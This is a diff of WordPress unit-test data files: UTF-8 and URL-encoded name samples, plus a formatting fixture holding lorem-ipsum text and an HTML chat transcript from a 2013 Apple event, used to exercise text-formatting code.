+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(urlencode, lines)) )
Index: /tags/5.0.20/tests/phpunit/data/formatting/utf-8/urlencoded.txt
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/utf-8/urlencoded.txt	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/utf-8/urlencoded.txt	(revision 56912)
@@ -0,0 +1,6 @@
+%e7%ab%a0%e5%ad%90%e6%80%a1
+Fran%c3%a7ois Truffaut
+%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d
+Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir
+%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf
+%f0%9f%91%8d
Index: /tags/5.0.20/tests/phpunit/data/formatting/utf-8/utf-8.txt
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/utf-8/utf-8.txt	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/utf-8/utf-8.txt	(revision 56912)
@@ -0,0 +1,6 @@
+章子怡
+François Truffaut
+საქართველო
+Björk Guðmundsdóttir
+宮崎　駿
+👍
Index: /tags/5.0.20/tests/phpunit/data/formatting/whole-posts.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/whole-posts.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/whole-posts.php	(revision 56912)
@@ -0,0 +1,1282 @@
+<?php
+
+function data_whole_posts() {
+	return array(
+
+/* DIVIDER */
+
+array('[Lorem ipsum dolor sit amet, quo id ignota repudiare, ius iracundia rationibus an, ea natum causae epicuri has. His porro deleniti cu. Eam ut quem alia reprimique. Quas tollit tincidunt his eu, nam ex cibo illud cetero. In perpetua dignissim mel, te utinam vituperata per.
+
+ Erat tibique hendrerit et duo, qui iriure tacimates ne, per eu solum admodum ocurreret. Cu ius utinam equidem saperet, mei tation nostrud scripserit ne. Sea et vide natum. Homero constituto eu est, quo eu veniam omnium feugait. Vel enim commune no.
+
+ Option verterem eum te, quot discere neglegentur nam at. No rebum convenire disputationi pro, libris possim eruditi id est. Unum ubique scaevola sed ad. Quas decore periculis ius eu, quod nibh quando ea ius. Ea essent omnesque mei, possit verear aperiri ea mel, mea fabellas urbanitas pertinacia ei. Maiorum sensibus at duo, eum ea veritus splendide.
+
+ Ex quo noster alterum sanctus. Vel ei blandit adversarium, ad iriure scripta eruditi nam. Quo semper noluisse consectetuer te. Probatus mediocritatem necessitatibus ne pro. Vix ne consul soluta dissentiet.
+
+ Vix augue vivendum sadipscing ei, diam elaboraret scribentur no mea. Te pri nullam reprehendunt, ornatus maiorum ne qui. Et mei accusam singulis. Et est intellegat posidonium, no usu purto bonorum facilisi. Saperet cotidieque eu mel.
+
+ Nonumy pericula vis id, illum nobis aliquando cum ei, altera aeterno mediocritatem pro ea. At duo quaeque dolorem. Vidit tantas ea vim, quis feugiat delenit vix ad, te per choro omnesque. Eum id duis facilisis. Purto intellegat duo no, ne ipsum praesent moderatius vis, et meliore scriptorem vim.
+
+ Bonorum admodum intellegam <!--te sed, eum erant placerat gubergren at, summo iudico aeterno mel an. Eu malis apeirian interpretaris eum, possim sanctus eu quo. Quo utinam persius ut, quo exerci dolores iudicabit ex. Ferri audire expetenda ex vis, persius signiferumque sit id.
+
+ Nobis scaevola qualisque vim ne, amet habemus no nec. Ex sea veri posse inani. Pro id quando persecuti, te nec utroque urbanitas adipiscing, an odio munere legere his. Veritus lucilius nam no, usu option appetere detraxit cu. Eos in hinc inciderint, nec in recteque corrumpit, dicat assentior honestatis at duo.
+
+ Atqui nemore propriae ea vel, duo an possim democritum, qui ad omnium tritani partiendo. Propriae appellantur ea per, est cu rebum justo utamur. Eruditi abhorreant ullamcorper an cum. Tota diceret ei mea, modus invidunt ad sea. Quo et prima debet eirmod, nisl inciderint qui ut. Te cum natum verterem vulputate, omittam rationibus reformidans vix ex.
+
+ Virtute posidonium at has, te epicuri eleifend adversarium eum. Esse putant iracundia ad sea, ei sed integre postulant expetenda, ad vix aperiri electram. Cu vel meis omnes expetendis, ei debet oblique molestie mea, ad vix nibh falli zril. Id vel quod erat eirmod, modus reformidans ei sea, an has agam aperiri.
+
+ Pro an wisi inimicus, suas interpretaris pri ex. Id sea erat aliquip. No pri falli sanctus, et adipisci vituperata pri, cu salutatus necessitatibus ius. Sed veri viderer ad. Liber veritus mediocrem ad eos, indoctum quaerendum instructior eam ex, te his graeci latine intellegebat. Duo prima erant feugiat ut.
+
+ In vis saepe vivendum nominati. Ad eam quis legere adversarium, hinc summo ea mei. Usu brute neglegentur et. Per no alienum contentiones definitionem, epicurei sententiae no eum. Omnium copiosae id cum, iisque denique inimicus ad sed, pri in essent iisque. Et essent intellegat incorrupte nam, ex nusquam conceptam ius.
+
+ Pro consulatu dissentiet no,] amet reque delicatissimi duo ex, cu mei nulla zril quodsi. Novum rationibus reprimique cu his. Mutat aperiam te vel. Habemus hendrerit sea ad, eum etiam dignissim id. Usu definiebas dissentiet cu, at iriure regione duo.
+
+ Eu sea simul noluisse deserunt, insolens intellegat ut sea. Ex eam vitae deseruisse. Et mea congue noster admodum, ad qui urbanitas definitiones. Nihil graece vivendum nam ut, mea ut vitae ancillae repudiandae, eos an oratio scriptorem. Eu mutat legimus inimicus vel, id sententiae inciderint sit. Dico appareat vim id, no vim possit volumus, movet audiam discere ut nec.
+
+ Viris inimicus persequeris vis ad, nulla deterruisset ex est. Vim ocurreret maluisset scribentur ut, lorem liberavisse cum at, at causae ceteros tractatos eos. Ex ius recteque eloquentiam, sed cetero tritani ex. Aperiam molestie ex sed, melius vocent salutandi vel ne. Sed ut iuvaret officiis tractatos. Luptatum quaestio vel ut, posse dissentias cu sed, mei cu habeo invidunt vituperata.
+
+ Sit alia persecuti cu, an ferri petentium vim. Ut ius adhuc paulo consulatu. Duis adversarium in his, at mel nostro perpetua moderatius. Id has maiorum adipisci, ferri affert vel cu, est tempor docendi ei. Autem ipsum vim at, cu luptatum apeirian quo, est aliquip eruditi eu. Eum epicurei sensibus et, et vis veri tractatos, quas etiam vel ut. Vide corrumpit imperdiet at mei.
+
+ Quaestio vulputate cu his, usu at facete eirmod percipitur. Usu vivendum electram reprimique eu. Vis no consequat expetendis, eos id velit aperiam detracto. Eu summo consequuntur eum, minimum praesent partiendo id est.
+
+ Tota offendit sea et, ne vim dicam admodum blandit. No vix quas nusquam. Putant scripta fierent mei ea. Eum ei putant persius probatus, quo ea wisi electram.
+
+ Eu illud definiebas honestatis sit. Eam exerci deseruisse ei, ex cum erant tacimates. Enim eros id vel, vidisse abhorreant cu eum. Et saperet appellantur est, eum esse soluta recusabo ad. Eam malis sensibus ea.
+
+ Exerci scripta at est. His ei nostrum perfecto, accumsan eligendi tincidunt an eum. Ius tempor aperiam ea, mei autem lorem eu. Vis duis modus ornatus no, alia malis ornatus mea et, ea eros probatus qui.
+
+ Mazim assentior mel te, rebum periculis constituam nec ut. In ferri admodum deleniti eum, nam te quas nominati appellantur. Est at erat pertinax, no sit nulla placerat. Munere euripidis ad has.
+
+ Magna graeco oblique vel ea, no movet aliquando mea. Eum no sadipscing delicatissimi, doctus consequuntur eu sed. Sed in persius eleifend, regione euismod no per. Ei pri vivendum gubergren, vix at eligendi invenire aliquando, brute malorum id usu. Cum tantas prodesset consequuntur ei, eum liberavisse delicatissimi vituperatoribus at.
+
+ Cu bonorum graecis ius. Duo id ancillae probatus. Tota latine pri an. Cum ei iudico semper. Eum in blandit voluptaria.
+
+ Illud debet vitae ex vis numquam.'),
+ 
+/* DIVIDER */
+
+// based on https://core.trac.wordpress.org/attachment/ticket/29557/ChatTranscript.txt
+
+array('hello!-- world. [caption arg1="Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt qu. In vitae tempus nunc. In vitaentbnbsdgsdsdgsdhsdhdsdhdsh Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt qu. In vitae tempus nunc. In vitaentbnbsdgsdsdgsdhsdhdsdhdsh" /] hello world.
+
+Chat Transcript for Apple event on October 22, 2013. Edited slightly for grammar, capitalization, and punctuation. It\'s a little hard to follow along at times, but I\'m mostly posting for posterity\'s sake. Or whatever.
+
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">ARE YOU READY PHIL!?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Music is streaming
+Tom Merritt on twitter: Apple has made their first announcement "Please turn electronic devices to silent." Does this meet expectations?
+I AM READY!
+"It\'s all better now" does that mean something?more</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I WISH I HAD MONEY TO GIVE APPLE!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">IT STARTED</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Apple has patented the period!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Hi Aaron!
+You can complain now!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Finally!
+Two of you!</p>-
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">I\'ve seen this video before. It\'s good but I really wanted a new one.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">OH MY GO.... oh it\'s just Tim Cook</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">They probably paid more for that video than Phils yearly salary.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Flower petals!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Thanks Bob.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">BRING BACK THE FLOWER POWER IMACS!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">PRODUCTS HE SAID PRODUCTS PLURAL!
+But first, I have a lot of large numbers to show you!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Take a drink!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Amazing 5C. Which no one is buying.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">STUNNING</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Should be formerly of the Wall Street Journal.
+I also hope they bring up Pogue.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Hey made a new video for you Aaron!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">They should just play an old video.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Slide called video before the video.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I want a glass dodecahedron.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Look at all these happy people who are touching our products? Don\'t you want to be happy?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">This better all be shot on an iPhone</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Shot on Film</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">The Chinese are a happy people, when you give them iPhones</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Id be happy too if I had the money to blow on an unsubsidized iPhone 5s.
+Or eight.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Look, this guy bought 5 of them!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">That guy bought up cases ... I hope the employees laughed at him.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">He CAN speak for everyone at apple.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">The cut at the end to the logo tag was awkward.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Hundreds of millions of customers.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Formerly of the New York Times</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">MORE BIG NUMBERS!!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I wish they put all of the zeroes on the screen.
+Then we could add up all of the zeroes.
+That is pretty stunning. We still have Windows XP running here.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Apple should be running the gov healthcare website.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">No one wants to run that piece of junk.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">He seems a little under prepared... is he excited or did he only practice this 12 times?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Apple is hopefully smart enough to stay out of government.
+Thar be dragons!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"After we paid him a hundred thousand dollars to say that..."</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Id do it for half that.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">ANOTHER BIG NUMBER!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Not enough zeroes.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">A SINGLE DIGIT BIG NUMBER!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">There we go ... nine zeroes!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">6 Zeros!
+10 Zeroes!
+STAGGERING!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Personally, I love the fact that Apple is thumbing their nose at all of the graphic designers out there by continuing to use those icons.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">9 more zeroes!
+Phenomenal!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Take a drink for each zero?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Can I get checks with the Apple logo on them? For all my apple purchases...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">How soon until you die of alcohol poisoning?
+LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Dead</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I bet Tim has it.
+And were giving Mavericks away for free today! Sorry Siracusa!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Was Tim around at the beginning? How does he know that that has always been the single purpose?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Heh.
+I think Steve probably left him a note in his desk.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">What\'s wrong with the slides?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Ooooo.... competition! Take a drink.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Dear Tim, this is what Apple is about.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I\'d hit that.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Lots if weird shapes dimming over the slides</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Its a feature.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">A feabug!
+YES!
+CRAIG!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">YAY CRAIG!!! Who\'s Craig?
+HAIR FORCE ONE!!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">10 10</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I like the fact that he owns up to the fact that his hair is greying.
+Hes like I have grey hair ... so Im going to have a ton of it.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Smooth the Mac experience.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">It looks more bronze today... did he go gold?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Hhmm.
+Maybe.
+Hanging out with Jony.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Wait... what?
+LOL
+My door is open Craig! My door is open!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Oh Craig, I was on the Apple Campus when he did his first event and he was NERVOUS.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">He likes to talk with hand motions.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Run ALL the apps!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">GRADIENTS ON EVERYTHING!
+Whoa! That\'s a small number!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I love it.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">AND NOW ITS A BIG NUMBER AGAIN!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Wait, where are we. Someone brought me a cable that looks like S-Video to USB ... which is basically impossible.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOL
+Seems legit.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">They love their xs.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Yay! updates to a browser I don\'t use!
+You can play tag in the finder!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Display-handling is much better.
+Ah, I love flubs. They arent robots.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">...is with a new computer!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Lip sync.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">And here we have a new Mac Pro driving two 4K monitors.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">The mac has no equal when it comes to running Pages.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">You can have it for only 75,000 euros.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Which is like 34 cents American.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Apple rocket!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Jony has some in the lab.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"We bought NASA"</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">iLaunch</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Got a good deal from the government.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Launch pad</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Oooh, those are new icons.... is this a new Pages?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I have a feeling Amazon would buy NASA before Apple.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Did I miss him saying that this is a new Pages?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Probably just Bezos.
+No.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Free shipping to Mars.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">He hasnt said it yet ...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">That would make sense, because it would be silly for them to give old features... but those are new icons!
+PAGES 2014!!!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Maybe the rover needs a new iPhone.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOL</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Oh Craig.
+Nice work bringing the wife into the event.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Dang, he\'s taken ;-p
+He\'s canceling that account the minute he gets off stage.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">And now my social security number...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">There\'s probably an intern doing that for him right now.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">But you\'ll never get my thumbprint.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">THIS DEMO IS FANTASTIC
+It\'s more of a comic routine than anything new.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">New calendar app! *rimshot*</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Alright, now for the good stuff!
+... date ... price ...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">so we actually released it yesterday!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Free.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">... Wait... wait
+wait...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Its free.
+Has to be free.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">New era.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Or theyre going to pay you!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">has to be fre:OIHSEg;kuahrg ouhWTPOIUGGSR:IGH SK&gt;JGu;SFghe
+a;ofg ;SFUY[OISDUg;aefgn.kajefhg ;oadufghd
+;oaeirgp ;Skadgipy9q347t;gkufbvzkdjb;adigue
+a;eorpugy ap97fdgy bpiduzlfbkv.zkjxcvh;a owithg2;iuhlzbdfjk</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">And it was shipped last week!
+Come on Craig ...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">With the purchase of an overpriced machine.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">FREE FOR EVERYONE
+LIKE LINUX</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Thats awesome. Great work.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Wow
+Wow
+Woooooow!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Entitled to Mavericks.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">TODAY!!
+A:OIY POGUSRH:IGUHSFPIUG&amp;SF*I</p>
